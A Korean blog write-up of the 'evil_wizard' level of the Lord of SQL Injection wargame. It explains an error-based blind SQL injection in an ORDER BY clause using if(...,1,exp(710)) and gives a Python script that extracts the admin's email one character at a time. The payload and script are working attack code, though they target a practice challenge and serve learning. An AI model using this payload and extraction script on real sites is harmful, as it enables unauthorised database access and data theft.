보안 공부/Load of SQL injection

[Load of SQL Injection] evil_wizard

sh1256 2022. 2. 14. 23:23
728x90

첫화면

 

이전 문제와 비슷하다. 

 

이번에는 order by 1 and id='admin' and if(조건문, 1, exp(710))을 이용하자. 

조건문이 참이면 정상실행, 거짓이면 exp(710)이 실행되어 에러가 발생한다.(table에 아무것도 출력되지 않음)

 

 

[길이는 30] -부등호와 등호를 통해 알아냄

 

import requests
cookies={'PHPSESSID':'1h1qpdjpcu9keu5vn9s0ctqho1'}
url ="https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php?order=1%20and%20id=%27admin%27%20and%20"
length=30
pw= ""

for i in range(1, length+1):
    for j in range(33, 122):#문자범위
        #if(substr(email,n,1)='?',1,exp(710))
        search_str="if(ord(substr(email,"+str(i)+",1))="+str(j)+",1,exp(710))"
        #print("search_str: "+search_str)
        response= requests.get(url+search_str, cookies=cookies)
        #print(response.text)
        
        if response.text.find("rubiya") !=-1:
            pw+=chr(j)
            print("pw: "+pw)
            break

++왜인지 substr(email, N, 1)='?' 식으로 문자 그대로 비교를 할려 하면 _(언더바)와 .(마침표)가 인식이 되지 않는다. 

    따라서 ord로 고쳐서 비교해줬다.

출력 결과

 

주소창에 ?email=aasup3r_secure_email@emai1.com을 입력해주자.

성공!!